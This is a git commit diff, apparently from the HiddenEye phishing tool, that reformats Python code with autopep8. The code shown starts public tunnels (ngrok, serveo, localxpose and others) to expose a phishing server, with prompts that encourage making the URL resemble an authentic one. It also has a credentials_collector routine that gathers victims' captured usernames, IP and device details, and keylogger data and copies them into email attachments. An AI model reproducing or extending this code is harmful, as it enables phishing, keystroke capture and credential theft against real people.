Restyled by autopep8

This commit is contained in:
Restyled.io 2020-08-24 06:46:58 +00:00
parent 8467b172de
commit c4cb6a9ef6
3 changed files with 88 additions and 51 deletions

View File

@ -142,8 +142,8 @@ def start_ngrok(port):
# later # later
pid = check_process("ngrok") pid = check_process("ngrok")
for p in pid: for p in pid:
kill(p, signal.SIGKILL) kill(p, signal.SIGKILL)
# continue # continue
run_command('clear') run_command('clear')
# print(''' # print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
@ -305,7 +305,8 @@ def start_serveo(port):
# !! \n''') # !! \n''')
print(localization.lang_start_serveo["failed_to_get_domain"]) print(localization.lang_start_serveo["failed_to_get_domain"])
print(localization.lang_start_serveo["suggestion_to_fix_issue"]) print(localization.lang_start_serveo["suggestion_to_fix_issue"])
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"]) print(
localization.lang_start_serveo["you_can_try_to_select_other_domain"])
wait(4) wait(4)
run_command('clear') run_command('clear')
return custom(port) return custom(port)
@ -390,11 +391,14 @@ def start_localxpose(port):
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2])) lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
run_command('./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk)) default_palette[0], default_palette[2]))
run_command(
'./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
wait(7) wait(7)
try: try:
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) output = check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8") url = output.decode("utf-8")
run_command('clear') run_command('clear')
print(''' print('''
@ -430,7 +434,8 @@ def start_localxpose(port):
print( print(
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format( "\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])) choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(
default_palette[0], default_palette[2]))
run_command('clear') run_command('clear')
if choice == '1': if choice == '1':
@ -456,7 +461,8 @@ def start_localtunnel(port, npm):
default_palette[2])) default_palette[2]))
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format( print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
s = input('\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2])) s = input(
'\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
try: try:
run_command('{0}lt -p '.format('' if npm else 'Server/') + run_command('{0}lt -p '.format('' if npm else 'Server/') +
port + ((' -s ' + s) if s != '' else s) + ' > link.url &') port + ((' -s ' + s) if s != '' else s) + ' > link.url &')
@ -494,7 +500,8 @@ def start_openport(port):
run_command('openport -K && openport %s > output.txt &' % (port)) run_command('openport -K && openport %s > output.txt &' % (port))
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0], print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0],
default_palette[4])) default_palette[4]))
wait(20) # Sleep time is important as the openport command takes some time to give response link. # Sleep time is important as the openport command takes some time to give response link.
wait(20)
run_command( run_command(
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above). 'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above).
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0], print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0],
@ -502,13 +509,15 @@ def start_openport(port):
with open('openport.txt') as f: with open('openport.txt') as f:
read_data = f.read() read_data = f.read()
if 'openport.io/l/' in read_data: if 'openport.io/l/' in read_data:
print('{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4])) print(
'{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
else: else:
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0], print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0],
default_palette[4])) default_palette[4]))
output = open('output.txt', 'r') output = open('output.txt', 'r')
output = output.read() output = output.read()
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output)) print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(
default_palette[0], default_palette[4], output))
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0], input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
default_palette[4])) default_palette[4]))
server_selection(port) server_selection(port)
@ -590,7 +599,8 @@ def start_pagekite(port):
default_palette[0], default_palette[4])) default_palette[0], default_palette[4]))
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0], input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0],
default_palette[4])) default_palette[4]))
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain)) run_command(
'python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
except KeyboardInterrupt: except KeyboardInterrupt:
print('[!] Please Copy the Generated Link For Further Use') print('[!] Please Copy the Generated Link For Further Use')
credentials_collector(port) credentials_collector(port)

View File

@ -36,7 +36,7 @@ def license_handler():
return False return False
def exit_message(port = 80): # Message when HiddenEye exit def exit_message(port=80): # Message when HiddenEye exit
choice = input(localization.lang_exit_message["choice"]) choice = input(localization.lang_exit_message["choice"])
choice.lower() choice.lower()
if choice == 'r': if choice == 'r':
@ -49,10 +49,12 @@ def exit_message(port = 80): # Message when HiddenEye exit
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(' ' + global_localization.by_darksec) print(' ' + global_localization.by_darksec)
print(' ' + global_localization.official_website_link) print(' ' +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"]) print(localization.lang_exit_message["tell_if_page_got_broken"])
print(localization.lang_exit_message["make_your_pull_request_or_issue"]) print(
localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["financial_support"])
@ -61,32 +63,38 @@ def exit_message(port = 80): # Message when HiddenEye exit
run_command('clear') run_command('clear')
return exit_message(port) return exit_message(port)
def terms_of_service_message(): # menu where user select what they wanna use def terms_of_service_message(): # menu where user select what they wanna use
# Terms Of Service # Terms Of Service
# print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue)) # print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
#if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y': # if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y':
# run_command('clear') # run_command('clear')
# print("\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n".format(default_palette[0], default_palette[4])) # print("\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n".format(default_palette[0], default_palette[4]))
# exit() # exit()
agreement = license_handler() agreement = license_handler()
if not agreement: if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"]) print(localization.lang_terms_of_service_message["GPL_3.0"])
print(localization.lang_terms_of_service_message["great_power_great_responsibility"]) print(
print(localization.lang_terms_of_service_message["do_you_accept_license"]) localization.lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.lang_terms_of_service_message["enter_this_to_confirm"]) print(
localization.lang_terms_of_service_message["do_you_accept_license"])
print(
localization.lang_terms_of_service_message["enter_this_to_confirm"])
agreement = input(global_localization.input_line) agreement = input(global_localization.input_line)
if localization.text_to_confirm_license not in agreement: if localization.text_to_confirm_license not in agreement:
print(localization.lang_terms_of_service_message["you_are_not_allowed"]) print(
localization.lang_terms_of_service_message["you_are_not_allowed"])
exit() exit()
else: else:
eula = open('eula.txt', 'w') eula = open('eula.txt', 'w')
eula.write(localization.write_eula +"eula = True") eula.write(localization.write_eula + "eula = True")
eula.close() eula.close()
return True return True
else: else:
return True return True
def module_loading_message(module): # This one just show text.. def module_loading_message(module): # This one just show text..
print(localization.lang_module_loading_message["select_any_mode"]) print(localization.lang_module_loading_message["select_any_mode"])
@ -98,18 +106,22 @@ def credentials_collector(port):
with open('Server/www/usernames.txt') as creds: with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(
#run_command("touch Server/CapturedData/usernames.txt default_palette[2], default_palette[3], lines))
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True) # run_command("touch Server/CapturedData/usernames.txt
pathlib_Path(
"Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt # && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
captured_usernames = open('Server/CapturedData/usernames.txt', 'a') captured_usernames = open(
'Server/CapturedData/usernames.txt', 'a')
new_usernames = open('Server/www/usernames.txt') new_usernames = open('Server/www/usernames.txt')
captured_usernames.write(new_usernames.read()) captured_usernames.write(new_usernames.read())
new_usernames.close() new_usernames.close()
captured_usernames.close() captured_usernames.close()
# && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt # && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt') copyfile('Server/CapturedData/usernames.txt',
'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
# && echo -n '' > Server/www/usernames.txt") # && echo -n '' > Server/www/usernames.txt")
new_usernames = open('Server/www/usernames.txt', 'w') new_usernames = open('Server/www/usernames.txt', 'w')
@ -119,9 +131,11 @@ def credentials_collector(port):
with open('Server/www/ip.txt') as creds: with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(
#run_command('touch Server/CapturedData/ip.txt default_palette[2], default_palette[3], lines))
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True) # run_command('touch Server/CapturedData/ip.txt
pathlib_Path(
"Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt # && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
captured_ips = open('Server/CapturedData/ip.txt', 'a') captured_ips = open('Server/CapturedData/ip.txt', 'a')
new_ips = open('Server/www/ip.txt') new_ips = open('Server/www/ip.txt')
@ -129,31 +143,35 @@ def credentials_collector(port):
new_ips.close() new_ips.close()
captured_ips.close() captured_ips.close()
# && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt # && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt') copyfile('Server/CapturedData/ip.txt',
'Defs/FeatureManager/EmailManager/attachments/ip.txt')
# && rm -rf Server/www/ip.txt # && rm -rf Server/www/ip.txt
new_ips = open('Server/www/ip.txt', 'w') new_ips = open('Server/www/ip.txt', 'w')
# && touch Server/www/ip.txt') # && touch Server/www/ip.txt')
new_ips.write('') new_ips.write('')
new_ips.close() new_ips.close()
creds.close() creds.close()
with open('Server/www/KeyloggerData.txt') as creds: with open('Server/www/KeyloggerData.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(global_localization.line_of_dots) log_writer(global_localization.line_of_dots)
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(
#run_command('touch Server/CapturedData/KeyloggerData.txt default_palette[2], default_palette[3], lines))
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True) # run_command('touch Server/CapturedData/KeyloggerData.txt
pathlib_Path(
'Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt # && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a') captured_keys = open(
'Server/CapturedData/KeyloggerData.txt', 'a')
new_keys = open('Server/www/KeyloggerData.txt') new_keys = open('Server/www/KeyloggerData.txt')
captured_keys.write(new_keys.read()) captured_keys.write(new_keys.read())
new_keys.close() new_keys.close()
captured_keys.close() captured_keys.close()
# && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt # && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt') copyfile('Server/CapturedData/KeyloggerData.txt',
'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
# && rm -rf Server/www/KeyloggerData.txt # && rm -rf Server/www/KeyloggerData.txt
new_keys = open('Server/www/KeyloggerData.txt', 'w') new_keys = open('Server/www/KeyloggerData.txt', 'w')
# && touch Server/www/KeyloggerData.txt') # && touch Server/www/KeyloggerData.txt')
@ -164,14 +182,17 @@ def credentials_collector(port):
creds.close() creds.close()
def log_writer(ctx): # Writing log def log_writer(ctx): # Writing log
logFile = open("log.txt", "w") logFile = open("log.txt", "w")
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n") logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(
default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
print(ctx) print(ctx)
def port_selector(): # Question where user must select port def port_selector(): # Question where user must select port
run_command('clear') run_command('clear')
#print(''' # print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
@ -194,6 +215,7 @@ def port_selector(): # Question where user must select port
except: except:
return port_selector() return port_selector()
def remove_readonly(func, path, _): def remove_readonly(func, path, _):
"Clear the readonly bit" "Clear the readonly bit"
chmod(path, stat.S_IWRITE) chmod(path, stat.S_IWRITE)
@ -220,6 +242,7 @@ def verify_connection(host='https://google.com'): # Connection check
print(localization.lang_verify_connection["verify_your_connection"]) print(localization.lang_verify_connection["verify_your_connection"])
exit() exit()
def check_permissions(): def check_permissions():
if platform_os() != "Windows": if platform_os() != "Windows":
@ -232,6 +255,7 @@ def check_permissions():
print(localization.lang_check_permissions["windows_warning"]) print(localization.lang_check_permissions["windows_warning"])
exit() exit()
def check_php(): def check_php():
try: try:
try_to_run_command(['php', '-v']) try_to_run_command(['php', '-v'])

View File

@ -6,7 +6,7 @@
# #
from subprocess import call as run_command, check_call as try_to_run_command ,Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE from subprocess import call as run_command, check_call as try_to_run_command, Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE
from distutils.dir_util import copy_tree as webpage_set from distutils.dir_util import copy_tree as webpage_set
from time import sleep as wait from time import sleep as wait
from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid, kill from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid, kill
@ -15,7 +15,10 @@ from pathlib import Path as pathlib_Path
from pyngrok import ngrok from pyngrok import ngrok
from pgrep import pgrep as check_process from pgrep import pgrep as check_process
import re as regular_expression import re as regular_expression
import getpass, base64, socket, requests import getpass
import base64
import socket
import requests
from platform import system as platform_os from platform import system as platform_os
import requests import requests
import signal import signal